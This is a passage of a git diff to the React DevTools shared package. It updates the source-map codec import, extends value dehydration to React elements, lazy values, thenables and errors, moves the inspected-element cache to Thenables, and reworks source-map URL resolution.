 const jsx = require('acorn-jsx');
 const rollupResolve = require('@rollup/plugin-node-resolve').nodeResolve;
-const {encode, decode} = require('sourcemap-codec');
+const {encode, decode} = require('@jridgewell/sourcemap-codec');
 const {generateEncodedHookMap} = require('../generateHookMap');
 const {parse} = require('@babel/parser');
 
diff --git a/packages/react-devtools-shared/src/hooks/astUtils.js b/packages/react-devtools-shared/src/hooks/astUtils.js
index d2d2088349e0..13adcc0e3663 100644
--- a/packages/react-devtools-shared/src/hooks/astUtils.js
+++ b/packages/react-devtools-shared/src/hooks/astUtils.js
@@ -289,7 +289,7 @@ function getHookVariableName(
   const nodeType = hook.node.id.type;
   switch (nodeType) {
     case AST_NODE_TYPES.ARRAY_PATTERN:
-      return !isCustomHook ? hook.node.id.elements[0]?.name ?? null : null;
+      return !isCustomHook ? (hook.node.id.elements[0]?.name ?? null) : null;
 
     case AST_NODE_TYPES.IDENTIFIER:
       return hook.node.id.name;
diff --git a/packages/react-devtools-shared/src/hooks/generateHookMap.js b/packages/react-devtools-shared/src/hooks/generateHookMap.js
index bd81d5e8ea14..a8a7576cbed9 100644
--- a/packages/react-devtools-shared/src/hooks/generateHookMap.js
+++ b/packages/react-devtools-shared/src/hooks/generateHookMap.js
@@ -8,7 +8,7 @@
  */
 
 import {getHookNamesMappingFromAST} from './astUtils';
-import {encode, decode} from 'sourcemap-codec';
+import {encode, decode} from '@jridgewell/sourcemap-codec';
 
 // Missing types in @babel/types
 type File = any;
diff --git a/packages/react-devtools-shared/src/hooks/parseHookNames/index.js b/packages/react-devtools-shared/src/hooks/parseHookNames/index.js
index 3691f74e4ff3..40725bc21fa6 100644
--- a/packages/react-devtools-shared/src/hooks/parseHookNames/index.js
+++ b/packages/react-devtools-shared/src/hooks/parseHookNames/index.js
@@ -12,6 +12,8 @@ import type {HooksNode, HooksTree} from 'react-debug-tools/src/ReactDebugHooks';
 import type {HookNames} from 'react-devtools-shared/src/frontend/types';
 import type {FetchFileWithCaching} from 'react-devtools-shared/src/devtools/views/Components/FetchFileWithCachingContext';
 
+import 'react';
+
 import {withAsyncPerfMeasurements} from 'react-devtools-shared/src/PerformanceLoggingUtils';
 import WorkerizedParseSourceAndMetadata from './parseSourceAndMetadata.worker';
 import typeof * as ParseSourceAndMetadataModule from './parseSourceAndMetadata';
diff --git a/packages/react-devtools-shared/src/hooks/parseHookNames/loadSourceAndMetadata.js b/packages/react-devtools-shared/src/hooks/parseHookNames/loadSourceAndMetadata.js
index 34f770ae0051..7c40cabf97fa 100644
--- a/packages/react-devtools-shared/src/hooks/parseHookNames/loadSourceAndMetadata.js
+++ b/packages/react-devtools-shared/src/hooks/parseHookNames/loadSourceAndMetadata.js
@@ -46,7 +46,7 @@
 //       and there is no need to convert runtime code to the original source.
 
 import {__DEBUG__} from 'react-devtools-shared/src/constants';
-import {getHookSourceLocationKey} from 'react-devtools-shared/src/hookNamesCache';
+import {getHookSourceLocationKey} from 'react-devtools-shared/src/hookSourceLocation';
 import {sourceMapIncludesSource} from '../SourceMapUtils';
 import {
   withAsyncPerfMeasurements,
@@ -64,7 +64,7 @@ import type {FetchFileWithCaching} from 'react-devtools-shared/src/devtools/view
 
 // Prefer a cached albeit stale response to reduce download time.
 // We wouldn't want to load/parse a newer version of the source (even if one existed).
-const FETCH_OPTIONS = {cache: 'force-cache'};
+const FETCH_OPTIONS = {cache: 'force-cache' as CacheType};
 
 const MAX_SOURCE_LENGTH = 100_000_000;
 
@@ -119,22 +119,12 @@ export async function loadSourceAndMetadata(
 }
 
 function decodeBase64String(encoded: string): Object {
-  if (typeof atob === 'function') {
-    return atob(encoded);
-  } else if (
-    typeof Buffer !== 'undefined' &&
-    Buffer !== null &&
-    typeof Buffer.from === 'function'
-  ) {
-    return Buffer.from(encoded, 'base64');
-  } else {
-    throw Error('Cannot decode base64 string');
-  }
+  return atob(encoded);
 }
 
 function extractAndLoadSourceMapJSON(
   locationKeyToHookSourceAndMetadata: LocationKeyToHookSourceAndMetadata,
-): Promise<Array<$Call<<T>(p: Promise<T> | T) => T, Promise<void>>>> {
+): Promise<mixed> {
   // Deduplicate fetches, since there can be multiple location keys per source map.
   const dedupedFetchPromises = new Map<string, Promise<$FlowFixMe>>();
 
@@ -461,7 +451,7 @@ function isUnnamedBuiltInHook(hook: HooksNode) {
 function loadSourceFiles(
   locationKeyToHookSourceAndMetadata: LocationKeyToHookSourceAndMetadata,
   fetchFileWithCaching: FetchFileWithCaching | null,
-): Promise<Array<$Call<<T>(p: Promise<T> | T) => T, Promise<void>>>> {
+): Promise<mixed> {
   // Deduplicate fetches, since there can be multiple location keys per file.
   const dedupedFetchPromises = new Map<string, Promise<$FlowFixMe>>();
 
@@ -485,23 +475,25 @@ function loadSourceFiles(
 
     const fetchPromise =
       dedupedFetchPromises.get(runtimeSourceURL) ||
-      fetchFileFunction(runtimeSourceURL).then(runtimeSourceCode => {
-        // TODO (named hooks) Re-think this; the main case where it matters is when there's no source-maps,
-        // because then we need to parse the full source file as an AST.
-        if (runtimeSourceCode.length > MAX_SOURCE_LENGTH) {
-          throw Error('Source code too large to parse');
-        }
+      (runtimeSourceURL && !runtimeSourceURL.startsWith('<anonymous')
+        ? fetchFileFunction(runtimeSourceURL).then(runtimeSourceCode => {
+            // TODO (named hooks) Re-think this; the main case where it matters is when there's no source-maps,
+            // because then we need to parse the full source file as an AST.
+            if (runtimeSourceCode.length > MAX_SOURCE_LENGTH) {
+              throw Error('Source code too large to parse');
+            }
 
-        if (__DEBUG__) {
-          console.groupCollapsed(
-            `loadSourceFiles() runtimeSourceURL "${runtimeSourceURL}"`,
-          );
-          console.log(runtimeSourceCode);
-          console.groupEnd();
-        }
+            if (__DEBUG__) {
+              console.groupCollapsed(
+                `loadSourceFiles() runtimeSourceURL "${runtimeSourceURL}"`,
+              );
+              console.log(runtimeSourceCode);
+              console.groupEnd();
+            }
 
-        return runtimeSourceCode;
-      });
+            return runtimeSourceCode;
+          })
+        : Promise.reject(new Error('Empty url')));
     dedupedFetchPromises.set(runtimeSourceURL, fetchPromise);
 
     setterPromises.push(
diff --git a/packages/react-devtools-shared/src/hooks/parseHookNames/parseSourceAndMetadata.js b/packages/react-devtools-shared/src/hooks/parseHookNames/parseSourceAndMetadata.js
index 40bfed48ba53..fde538578572 100644
--- a/packages/react-devtools-shared/src/hooks/parseHookNames/parseSourceAndMetadata.js
+++ b/packages/react-devtools-shared/src/hooks/parseHookNames/parseSourceAndMetadata.js
@@ -15,7 +15,7 @@ import LRU from 'lru-cache';
 import {getHookName} from '../astUtils';
 import {areSourceMapsAppliedToErrors} from '../ErrorTester';
 import {__DEBUG__} from 'react-devtools-shared/src/constants';
-import {getHookSourceLocationKey} from 'react-devtools-shared/src/hookNamesCache';
+import {getHookSourceLocationKey} from 'react-devtools-shared/src/hookSourceLocation';
 import {SourceMapMetadataConsumer} from '../SourceMapMetadataConsumer';
 import {
   withAsyncPerfMeasurements,
@@ -276,6 +276,11 @@ function parseSourceAST(
             columnNumber,
             lineNumber,
           });
+        if (sourceContent === null || sourceURL === null) {
+          throw Error(
+            `Could not find original source for line:${lineNumber} and column:${columnNumber}`,
+          );
+        }
 
         originalSourceColumnNumber = column;
         originalSourceLineNumber = line;
diff --git a/packages/react-devtools-shared/src/hydration.js b/packages/react-devtools-shared/src/hydration.js
index 6522076e7dda..2468917d939e 100644
--- a/packages/react-devtools-shared/src/hydration.js
+++ b/packages/react-devtools-shared/src/hydration.js
@@ -16,11 +16,15 @@ import {
   setInObject,
 } from 'react-devtools-shared/src/utils';
 
+import {REACT_LEGACY_ELEMENT_TYPE} from 'shared/ReactSymbols';
+
 import type {
   DehydratedData,
   InspectedElementPath,
 } from 'react-devtools-shared/src/frontend/types';
 
+import noop from 'shared/noop';
+
 export const meta = {
   inspectable: (Symbol('inspectable'): symbol),
   inspected: (Symbol('inspected'): symbol),
@@ -43,7 +47,7 @@ export type Dehydrated = {
   type: string,
 };
 
-// Typed arrays and other complex iteratable objects (e.g. Map, Set, ImmutableJS) need special handling.
+// Typed arrays, other complex iteratable objects (e.g. Map, Set, ImmutableJS) or Promises need special handling.
 // These objects can't be serialized without losing type information,
 // so a "Unserializable" type wrapper is used (with meta-data keys) to send nested values-
 // while preserving the original type and name.
@@ -84,7 +88,9 @@ function createDehydrated(
     preview_long: formatDataForPreview(data, true),
     preview_short: formatDataForPreview(data, false),
     name:
-      !data.constructor || data.constructor.name === 'Object'
+      typeof data.constructor !== 'function' ||
+      typeof data.constructor.name !== 'string' ||
+      data.constructor.name === 'Object'
         ? ''
         : data.constructor.name,
   };
@@ -127,7 +133,7 @@ export function dehydrate(
   path: Array<string | number>,
   isPathAllowed: (path: Array<string | number>) => boolean,
   level: number = 0,
-): $PropertyType<DehydratedData, 'data'> {
+): DehydratedData['data'] {
   const type = getDataType(data);
 
   let isPathAllowedCheck;
@@ -184,18 +190,103 @@ export function dehydrate(
         type,
       };
 
-    // React Elements aren't very inspector-friendly,
-    // and often contain private fields or circular references.
-    case 'react_element':
-      cleaned.push(path);
-      return {
-        inspectable: false,
+    case 'react_element': {
+      isPathAllowedCheck = isPathAllowed(path);
+
+      if (level >= LEVEL_THRESHOLD && !isPathAllowedCheck) {
+        cleaned.push(path);
+        return {
+          inspectable: true,
+          preview_short: formatDataForPreview(data, false),
+          preview_long: formatDataForPreview(data, true),
+          name: getDisplayNameForReactElement(data) || 'Unknown',
+          type,
+        };
+      }
+
+      const unserializableValue: Unserializable = {
+        unserializable: true,
+        type,
+        readonly: true,
         preview_short: formatDataForPreview(data, false),
         preview_long: formatDataForPreview(data, true),
         name: getDisplayNameForReactElement(data) || 'Unknown',
-        type,
       };
+      // TODO: We can't expose type because that name is already taken on Unserializable.
+      unserializableValue.key = dehydrate(
+        data.key,
+        cleaned,
+        unserializable,
+        path.concat(['key']),
+        isPathAllowed,
+        isPathAllowedCheck ? 1 : level + 1,
+      );
+      if (data.$$typeof === REACT_LEGACY_ELEMENT_TYPE) {
+        unserializableValue.ref = dehydrate(
+          data.ref,
+          cleaned,
+          unserializable,
+          path.concat(['ref']),
+          isPathAllowed,
+          isPathAllowedCheck ? 1 : level + 1,
+        );
+      }
+      unserializableValue.props = dehydrate(
+        data.props,
+        cleaned,
+        unserializable,
+        path.concat(['props']),
+        isPathAllowed,
+        isPathAllowedCheck ? 1 : level + 1,
+      );
 
+      unserializable.push(path);
+      return unserializableValue;
+    }
+    case 'react_lazy': {
+      isPathAllowedCheck = isPathAllowed(path);
+
+      const payload = data._payload;
+
+      if (level >= LEVEL_THRESHOLD && !isPathAllowedCheck) {
+        cleaned.push(path);
+        const inspectable =
+          payload !== null &&
+          typeof payload === 'object' &&
+          (payload._status === 1 ||
+            payload._status === 2 ||
+            payload.status === 'fulfilled' ||
+            payload.status === 'rejected');
+        return {
+          inspectable,
+          preview_short: formatDataForPreview(data, false),
+          preview_long: formatDataForPreview(data, true),
+          name: 'lazy()',
+          type,
+        };
+      }
+
+      const unserializableValue: Unserializable = {
+        unserializable: true,
+        type: type,
+        preview_short: formatDataForPreview(data, false),
+        preview_long: formatDataForPreview(data, true),
+        name: 'lazy()',
+      };
+      // Ideally we should alias these properties to something more readable but
+      // unfortunately because of how the hydration algorithm uses a single concept of
+      // "path" we can't alias the path.
+      unserializableValue._payload = dehydrate(
+        payload,
+        cleaned,
+        unserializable,
+        path.concat(['_payload']),
+        isPathAllowed,
+        isPathAllowedCheck ? 1 : level + 1,
+      );
+      unserializable.push(path);
+      return unserializableValue;
+    }
     // ArrayBuffers error if you try to inspect them.
     case 'array_buffer':
     case 'data_view':
@@ -214,16 +305,19 @@ export function dehydrate(
       if (level >= LEVEL_THRESHOLD && !isPathAllowedCheck) {
         return createDehydrated(type, true, data, cleaned, path);
       }
-      return data.map((item, i) =>
-        dehydrate(
-          item,
+      const arr: Array<Object> = [];
+      for (let i = 0; i < data.length; i++) {
+        arr[i] = dehydrateKey(
+          data,
+          i,
           cleaned,
           unserializable,
           path.concat([i]),
           isPathAllowed,
           isPathAllowedCheck ? 1 : level + 1,
-        ),
-      );
+        );
+      }
+      return arr;
 
     case 'html_all_collection':
     case 'typed_array':
@@ -240,7 +334,9 @@ export function dehydrate(
           preview_short: formatDataForPreview(data, false),
           preview_long: formatDataForPreview(data, true),
           name:
-            !data.constructor || data.constructor.name === 'Object'
+            typeof data.constructor !== 'function' ||
+            typeof data.constructor.name !== 'string' ||
+            data.constructor.name === 'Object'
               ? ''
               : data.constructor.name,
         };
@@ -296,6 +392,86 @@ export function dehydrate(
         type,
       };
 
+    case 'thenable':
+      isPathAllowedCheck = isPathAllowed(path);
+
+      if (level >= LEVEL_THRESHOLD && !isPathAllowedCheck) {
+        cleaned.push(path);
+        return {
+          inspectable:
+            data.status === 'fulfilled' || data.status === 'rejected',
+          preview_short: formatDataForPreview(data, false),
+          preview_long: formatDataForPreview(data, true),
+          name: data.toString(),
+          type,
+        };
+      }
+
+      if (
+        data.status === 'resolved_model' ||
+        data.status === 'resolve_module'
+      ) {
+        // This looks it's a lazy initialization pattern such in Flight.
+        // Since we're about to inspect it. Let's eagerly initialize it.
+        data.then(noop);
+      }
+
+      switch (data.status) {
+        case 'fulfilled': {
+          const unserializableValue: Unserializable = {
+            unserializable: true,
+            type: type,
+            preview_short: formatDataForPreview(data, false),
+            preview_long: formatDataForPreview(data, true),
+            name: 'fulfilled Thenable',
+          };
+
+          unserializableValue.value = dehydrate(
+            data.value,
+            cleaned,
+            unserializable,
+            path.concat(['value']),
+            isPathAllowed,
+            isPathAllowedCheck ? 1 : level + 1,
+          );
+
+          unserializable.push(path);
+
+          return unserializableValue;
+        }
+        case 'rejected': {
+          const unserializableValue: Unserializable = {
+            unserializable: true,
+            type: type,
+            preview_short: formatDataForPreview(data, false),
+            preview_long: formatDataForPreview(data, true),
+            name: 'rejected Thenable',
+          };
+
+          unserializableValue.reason = dehydrate(
+            data.reason,
+            cleaned,
+            unserializable,
+            path.concat(['reason']),
+            isPathAllowed,
+            isPathAllowedCheck ? 1 : level + 1,
+          );
+
+          unserializable.push(path);
+
+          return unserializableValue;
+        }
+        default:
+          cleaned.push(path);
+          return {
+            inspectable: false,
+            preview_short: formatDataForPreview(data, false),
+            preview_long: formatDataForPreview(data, true),
+            name: data.toString(),
+            type,
+          };
+      }
+
     case 'object':
       isPathAllowedCheck = isPathAllowed(path);
 
@@ -303,12 +479,13 @@ export function dehydrate(
         return createDehydrated(type, true, data, cleaned, path);
       } else {
         const object: {
-          [string]: $PropertyType<DehydratedData, 'data'>,
+          [string]: DehydratedData['data'],
         } = {};
         getAllEnumerableKeys(data).forEach(key => {
           const name = key.toString();
-          object[name] = dehydrate(
-            data[key],
+          object[name] = dehydrateKey(
+            data,
+            key,
             cleaned,
             unserializable,
             path.concat([name]),
@@ -319,7 +496,7 @@ export function dehydrate(
         return object;
       }
 
-    case 'class_instance':
+    case 'class_instance': {
       isPathAllowedCheck = isPathAllowed(path);
 
       if (level >= LEVEL_THRESHOLD && !isPathAllowedCheck) {
@@ -332,7 +509,11 @@ export function dehydrate(
         readonly: true,
         preview_short: formatDataForPreview(data, false),
         preview_long: formatDataForPreview(data, true),
-        name: data.constructor.name,
+        name:
+          typeof data.constructor !== 'function' ||
+          typeof data.constructor.name !== 'string'
+            ? ''
+            : data.constructor.name,
       };
 
       getAllEnumerableKeys(data).forEach(key => {
@@ -351,7 +532,69 @@ export function dehydrate(
       unserializable.push(path);
 
       return value;
+    }
+    case 'error': {
+      isPathAllowedCheck = isPathAllowed(path);
+
+      if (level >= LEVEL_THRESHOLD && !isPathAllowedCheck) {
+        return createDehydrated(type, true, data, cleaned, path);
+      }
 
+      const value: Unserializable = {
+        unserializable: true,
+        type,
+        readonly: true,
+        preview_short: formatDataForPreview(data, false),
+        preview_long: formatDataForPreview(data, true),
+        name: data.name,
+      };
+
+      // name, message, stack and cause are not enumerable yet still interesting.
+      value.message = dehydrate(
+        data.message,
+        cleaned,
+        unserializable,
+        path.concat(['message']),
+        isPathAllowed,
+        isPathAllowedCheck ? 1 : level + 1,
+      );
+      value.stack = dehydrate(
+        data.stack,
+        cleaned,
+        unserializable,
+        path.concat(['stack']),
+        isPathAllowed,
+        isPathAllowedCheck ? 1 : level + 1,
+      );
+
+      if ('cause' in data) {
+        value.cause = dehydrate(
+          data.cause,
+          cleaned,
+          unserializable,
+          path.concat(['cause']),
+          isPathAllowed,
+          isPathAllowedCheck ? 1 : level + 1,
+        );
+      }
+
+      getAllEnumerableKeys(data).forEach(key => {
+        const keyAsString = key.toString();
+
+        value[keyAsString] = dehydrate(
+          data[key],
+          cleaned,
+          unserializable,
+          path.concat([keyAsString]),
+          isPathAllowed,
+          isPathAllowedCheck ? 1 : level + 1,
+        );
+      });
+
+      unserializable.push(path);
+
+      return value;
+    }
     case 'infinity':
     case 'nan':
     case 'undefined':
@@ -365,6 +608,46 @@ export function dehydrate(
   }
 }
 
+function dehydrateKey(
+  parent: Object,
+  key: number | string | symbol,
+  cleaned: Array<Array<string | number>>,
+  unserializable: Array<Array<string | number>>,
+  path: Array<string | number>,
+  isPathAllowed: (path: Array<string | number>) => boolean,
+  level: number = 0,
+): DehydratedData['data'] {
+  try {
+    return dehydrate(
+      parent[key],
+      cleaned,
+      unserializable,
+      path,
+      isPathAllowed,
+      level,
+    );
+  } catch (error) {
+    let preview = '';
+    if (
+      typeof error === 'object' &&
+      error !== null &&
+      typeof error.stack === 'string'
+    ) {
+      preview = error.stack;
+    } else if (typeof error === 'string') {
+      preview = error;
+    }
+    cleaned.push(path);
+    return {
+      inspectable: false,
+      preview_short: '[Exception]',
+      preview_long: preview ? '[Exception: ' + preview + ']' : '[Exception]',
+      name: preview,
+      type: 'unknown',
+    };
+  }
+}
+
 export function fillInPath(
   object: Object,
   data: DehydratedData,
diff --git a/packages/react-devtools-shared/src/inspectedElementCache.js b/packages/react-devtools-shared/src/inspectedElementCache.js
index 014edf22a7fb..820baf3380dd 100644
--- a/packages/react-devtools-shared/src/inspectedElementCache.js
+++ b/packages/react-devtools-shared/src/inspectedElementCache.js
@@ -7,6 +7,8 @@
  * @flow
  */
 
+import * as React from 'react';
+
 import {
   unstable_getCacheForType as getCacheForType,
   startTransition,
@@ -16,7 +18,11 @@ import {inspectElement as inspectElementMutableSource} from 'react-devtools-shar
 import ElementPollingCancellationError from 'react-devtools-shared/src//errors/ElementPollingCancellationError';
 
 import type {FrontendBridge} from 'react-devtools-shared/src/bridge';
-import type {Wakeable} from 'shared/ReactTypes';
+import type {
+  Thenable,
+  FulfilledThenable,
+  RejectedThenable,
+} from 'shared/ReactTypes';
 import type {
   Element,
   InspectedElement as InspectedElementFrontend,
@@ -24,44 +30,28 @@ import type {
   InspectedElementPath,
 } from 'react-devtools-shared/src/frontend/types';
 
-const Pending = 0;
-const Resolved = 1;
-const Rejected = 2;
-
-type PendingRecord = {
-  status: 0,
-  value: Wakeable,
-};
-
-type ResolvedRecord<T> = {
-  status: 1,
-  value: T,
-};
-
-type RejectedRecord = {
-  status: 2,
-  value: Error | string,
-};
-
-type Record<T> = PendingRecord | ResolvedRecord<T> | RejectedRecord;
-
-function readRecord<T>(record: Record<T>): ResolvedRecord<T> {
-  if (record.status === Resolved) {
-    // This is just a type refinement.
-    return record;
+function readRecord<T>(record: Thenable<T>): T {
+  if (typeof React.use === 'function') {
+    // eslint-disable-next-line react-hooks-published/rules-of-hooks
+    return React.use(record);
+  }
+  if (record.status === 'fulfilled') {
+    return record.value;
+  } else if (record.status === 'rejected') {
+    throw record.reason;
   } else {
-    throw record.value;
+    throw record;
   }
 }
 
-type InspectedElementMap = WeakMap<Element, Record<InspectedElementFrontend>>;
+type InspectedElementMap = WeakMap<Element, Thenable<InspectedElementFrontend>>;
 type CacheSeedKey = () => InspectedElementMap;
 
 function createMap(): InspectedElementMap {
   return new WeakMap();
 }
 
-function getRecordMap(): WeakMap<Element, Record<InspectedElementFrontend>> {
+function getRecordMap(): WeakMap<Element, Thenable<InspectedElementFrontend>> {
   return getCacheForType(createMap);
 }
 
@@ -69,12 +59,15 @@ function createCacheSeed(
   element: Element,
   inspectedElement: InspectedElementFrontend,
 ): [CacheSeedKey, InspectedElementMap] {
-  const newRecord: Record<InspectedElementFrontend> = {
-    status: Resolved,
+  const thenable: FulfilledThenable<InspectedElementFrontend> = {
+    then(callback: (value: any) => mixed, reject: (error: mixed) => mixed) {
+      callback(thenable.value);
+    },
+    status: 'fulfilled',
     value: inspectedElement,
   };
   const map = createMap();
-  map.set(element, newRecord);
+  map.set(element, thenable);
   return [createMap, map];
 }
 
@@ -91,10 +84,15 @@ export function inspectElement(
   const map = getRecordMap();
   let record = map.get(element);
   if (!record) {
-    const callbacks = new Set<() => mixed>();
-    const wakeable: Wakeable = {
-      then(callback: () => mixed) {
+    const callbacks = new Set<(value: any) => mixed>();
+    const rejectCallbacks = new Set<(reason: mixed) => mixed>();
+    const thenable: Thenable<InspectedElementFrontend> = {
+      status: 'pending',
+      value: null,
+      reason: null,
+      then(callback: (value: any) => mixed, reject: (error: mixed) => mixed) {
         callbacks.add(callback);
+        rejectCallbacks.add(reject);
       },
 
       // Optional property used by Timeline:
@@ -103,19 +101,24 @@ export function inspectElement(
 
     const wake = () => {
       // This assumes they won't throw.
-      callbacks.forEach(callback => callback());
+      callbacks.forEach(callback => callback((thenable: any).value));
       callbacks.clear();
+      rejectCallbacks.clear();
     };
-    const newRecord: Record<InspectedElementFrontend> = (record = {
-      status: Pending,
-      value: wakeable,
-    });
+    const wakeRejections = () => {
+      // This assumes they won't throw.
+      rejectCallbacks.forEach(callback => callback((thenable: any).reason));
+      rejectCallbacks.clear();
+      callbacks.clear();
+    };
+    record = thenable;
 
     const rendererID = store.getRendererIDForElement(element.id);
     if (rendererID == null) {
-      const rejectedRecord = ((newRecord: any): RejectedRecord);
-      rejectedRecord.status = Rejected;
-      rejectedRecord.value = new Error(
+      const rejectedThenable: RejectedThenable<InspectedElementFrontend> =
+        (thenable: any);
+      rejectedThenable.status = 'rejected';
+      rejectedThenable.reason = new Error(
         `Could not inspect element with id "${element.id}". No renderer found.`,
       );
 
@@ -129,29 +132,29 @@ export function inspectElement(
         InspectedElementFrontend,
         InspectedElementResponseType,
       ]) => {
-        const resolvedRecord =
-          ((newRecord: any): ResolvedRecord<InspectedElementFrontend>);
-        resolvedRecord.status = Resolved;
-        resolvedRecord.value = inspectedElement;
-
+        const fulfilledThenable: FulfilledThenable<InspectedElementFrontend> =
+          (thenable: any);
+        fulfilledThenable.status = 'fulfilled';
+        fulfilledThenable.value = inspectedElement;
         wake();
       },
 
       error => {
         console.error(error);
 
-        const rejectedRecord = ((newRecord: any): RejectedRecord);
-        rejectedRecord.status = Rejected;
-        rejectedRecord.value = error;
+        const rejectedThenable: RejectedThenable<InspectedElementFrontend> =
+          (thenable: any);
+        rejectedThenable.status = 'rejected';
+        rejectedThenable.reason = error;
 
-        wake();
+        wakeRejections();
       },
     );
 
     map.set(element, record);
   }
 
-  const response = readRecord(record).value;
+  const response = readRecord(record);
   return response;
 }
 
diff --git a/packages/react-devtools-shared/src/inspectedElementMutableSource.js b/packages/react-devtools-shared/src/inspectedElementMutableSource.js
index ae90bd021bcb..d967109163aa 100644
--- a/packages/react-devtools-shared/src/inspectedElementMutableSource.js
+++ b/packages/react-devtools-shared/src/inspectedElementMutableSource.js
@@ -12,6 +12,7 @@ import {
   convertInspectedElementBackendToFrontend,
   hydrateHelper,
   inspectElement as inspectElementAPI,
+  inspectScreen as inspectScreenAPI,
 } from 'react-devtools-shared/src/backendAPI';
 import {fillInPath} from 'react-devtools-shared/src/hydration';
 
@@ -57,21 +58,31 @@ export function inspectElement(
   rendererID: number,
   shouldListenToPauseEvents: boolean = false,
 ): Promise<InspectElementReturnType> {
-  const {id} = element;
+  const {id, parentID} = element;
 
   // This could indicate that the DevTools UI has been closed and reopened.
   // The in-memory cache will be clear but the backend still thinks we have cached data.
   // In this case, we need to tell it to resend the full data.
   const forceFullData = !inspectedElementCache.has(id);
-
-  return inspectElementAPI(
-    bridge,
-    forceFullData,
-    id,
-    path,
-    rendererID,
-    shouldListenToPauseEvents,
-  ).then((data: any) => {
+  const isRoot = parentID === 0;
+  const promisedElement = isRoot
+    ? inspectScreenAPI(
+        bridge,
+        forceFullData,
+        id,
+        path,
+        shouldListenToPauseEvents,
+      )
+    : inspectElementAPI(
+        bridge,
+        forceFullData,
+        id,
+        path,
+        rendererID,
+        shouldListenToPauseEvents,
+      );
+
+  return promisedElement.then((data: any) => {
     const {type} = data;
 
     let inspectedElement;
diff --git a/packages/react-devtools-shared/src/shared/types.js b/packages/react-devtools-shared/src/shared/types.js
deleted file mode 100644
index 130cea5dd602..000000000000
--- a/packages/react-devtools-shared/src/shared/types.js
+++ /dev/null
@@ -1,14 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-export type Source = {
-  sourceURL: string,
-  line: number,
-  column: number,
-};
diff --git a/packages/react-devtools-shared/src/symbolicateSource.js b/packages/react-devtools-shared/src/symbolicateSource.js
index d28ed42e59db..ebcf161dc963 100644
--- a/packages/react-devtools-shared/src/symbolicateSource.js
+++ b/packages/react-devtools-shared/src/symbolicateSource.js
@@ -7,20 +7,27 @@
  * @flow
  */
 
-import {normalizeUrl} from 'react-devtools-shared/src/utils';
 import SourceMapConsumer from 'react-devtools-shared/src/hooks/SourceMapConsumer';
 
-import type {Source} from 'react-devtools-shared/src/shared/types';
+import type {ReactFunctionLocation} from 'shared/ReactTypes';
 import type {FetchFileWithCaching} from 'react-devtools-shared/src/devtools/views/Components/FetchFileWithCachingContext';
 
-const symbolicationCache: Map<string, Promise<Source | null>> = new Map();
+const symbolicationCache: Map<
+  string,
+  Promise<SourceMappedLocation | null>,
+> = new Map();
 
-export async function symbolicateSourceWithCache(
+export type SourceMappedLocation = {
+  location: ReactFunctionLocation,
+  ignored: boolean, // Whether the file for this location was ignore listed
+};
+
+export function symbolicateSourceWithCache(
   fetchFileWithCaching: FetchFileWithCaching,
   sourceURL: string,
   line: number, // 1-based
   column: number, // 1-based
-): Promise<Source | null> {
+): Promise<SourceMappedLocation | null> {
   const key = `${sourceURL}:${line}:${column}`;
   const cachedPromise = symbolicationCache.get(key);
   if (cachedPromise != null) {
@@ -39,12 +46,15 @@ export async function symbolicateSourceWithCache(
 }
 
 const SOURCE_MAP_ANNOTATION_PREFIX = 'sourceMappingURL=';
-async function symbolicateSource(
+export async function symbolicateSource(
   fetchFileWithCaching: FetchFileWithCaching,
   sourceURL: string,
   lineNumber: number, // 1-based
   columnNumber: number, // 1-based
-): Promise<Source | null> {
+): Promise<SourceMappedLocation | null> {
+  if (!sourceURL || sourceURL.startsWith('<anonymous')) {
+    return null;
+  }
   const resource = await fetchFileWithCaching(sourceURL).catch(() => null);
   if (resource == null) {
     return null;
@@ -63,11 +73,23 @@ async function symbolicateSource(
       const sourceMapAnnotationStartIndex = resourceLine.indexOf(
         SOURCE_MAP_ANNOTATION_PREFIX,
       );
-      const sourceMapURL = resourceLine.slice(
+      const sourceMapAt = resourceLine.slice(
         sourceMapAnnotationStartIndex + SOURCE_MAP_ANNOTATION_PREFIX.length,
         resourceLine.length,
       );
 
+      // Compute the absolute source map URL. If the base URL is invalid, gracefully bail.
+      let sourceMapURL;
+      try {
+        sourceMapURL = new URL(sourceMapAt, sourceURL).toString();
+      } catch (e) {
+        // Fallback: try if sourceMapAt is already an absolute URL; otherwise give up.
+        try {
+          sourceMapURL = new URL(sourceMapAt).toString();
+        } catch (_e) {
+          return null;
+        }
+      }
       const sourceMap = await fetchFileWithCaching(sourceMapURL).catch(
         () => null,
       );
@@ -75,39 +97,55 @@ async function symbolicateSource(
         try {
           const parsedSourceMap = JSON.parse(sourceMap);
           const consumer = SourceMapConsumer(parsedSourceMap);
+          const functionName = ''; // TODO: Parse function name from sourceContent.
           const {
             sourceURL: possiblyURL,
             line,
-            column,
+            column: columnZeroBased,
+            ignored,
           } = consumer.originalPositionFor({
             lineNumber, // 1-based
             columnNumber, // 1-based
           });
 
+          const column = columnZeroBased + 1;
+
+          if (possiblyURL === null) {
+            return null;
+          }
           try {
-            void new URL(possiblyURL); // This is a valid URL
-            const normalizedURL = normalizeUrl(possiblyURL);
+            // sourceMapURL = https://react.dev/script.js.map
+            void new URL(possiblyURL); // test if it is a valid URL
 
-            return {sourceURL: normalizedURL, line, column};
+            return {
+              location: [functionName, possiblyURL, line, column],
+              ignored,
+            };
           } catch (e) {
             // This is not valid URL
-            if (possiblyURL.startsWith('/')) {
+            if (
+              // sourceMapURL = /file
+              possiblyURL.startsWith('/') ||
+              // sourceMapURL = C:\\...
+              possiblyURL.slice(1).startsWith(':\\\\')
+            ) {
               // This is an absolute path
-              return {sourceURL: possiblyURL, line, column};
+              return {
+                location: [functionName, possiblyURL, line, column],
+                ignored,
+              };
             }
 
             // This is a relative path
-            const [sourceMapAbsolutePathWithoutQueryParameters] =
-              sourceMapURL.split(/[?#&]/);
-
-            const absoluteSourcePath =
-              sourceMapAbsolutePathWithoutQueryParameters +
-              (sourceMapAbsolutePathWithoutQueryParameters.endsWith('/')
-                ? ''
-                : '/') +
-              possiblyURL;
-
-            return {sourceURL: absoluteSourcePath, line, column};
+            // possiblyURL = x.js.map, sourceMapURL = https://react.dev/script.js.map
+            const absoluteSourcePath = new URL(
+              possiblyURL,
+              sourceMapURL,
+            ).toString();
+            return {
+              location: [functionName, absoluteSourcePath, line, column],
+              ignored,
+            };
           }
         } catch (e) {
           return null;
diff --git a/packages/react-devtools-shared/src/utils.js b/packages/react-devtools-shared/src/utils.js
